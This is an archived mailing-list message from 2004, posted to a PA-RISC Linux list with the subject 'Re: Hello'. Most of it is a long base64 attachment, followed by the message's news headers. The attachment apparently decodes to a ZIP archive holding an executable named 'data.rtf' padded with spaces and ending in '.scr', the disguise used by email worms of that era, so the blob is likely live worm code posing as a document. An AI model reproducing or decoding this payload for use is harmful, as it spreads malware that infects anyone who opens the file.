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
jHIR9st5GLGFXFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B1
9CUGyQTT2lST/0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6
mKRSPsfGf/9STGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4e
fgyMwXhFdbVClybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4
Iw6qEAjBiWYcF9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC
9zv5ThE1c+hq9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uO
EwYY0NJ75CnOtudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAAB
AAQA6AIAAAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBo
V1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIi
I0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiI
RElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlU
UlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNE
RERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiI
iIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJS
IiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRC
d3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERE
RERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIi
IiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzo
MEABacD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAo
i/BoyMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyK
NAiIg/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwI
fXgEii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs
4PtOjNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0
YTAJamXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2
dSLGAxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQ
CXQkEENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTN
MGJKnwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1
+GVy9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDO
EQQN6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIH
QQIGEwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4Bc
eMBUB7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZu
Fb6/KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFw
eUlSm+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5U
UJNDz+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAA45aU
MKOIHd6AcwAAgHMAAFcAAAAAAAAAAAAgAAAAAAAAAGRhdGEucnRmICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLnNjclBLBQYAAAAAAQABAIUAAAD1cwAAAAA=

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ken_eisner@eisner.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Hello
Date: Tue, 20 Apr 2004 16:35:08 -0400
Lines: 575
Approved: news@gmane.org
Message-ID: <20040420203939.38E5749E1@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623395 8538 80.91.229.3 (22 Nov 2014 02:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ken_eisner@eisner.com  Tue Apr 20 14:39:50 2004
Return-Path: <ken_eisner@eisner.com>
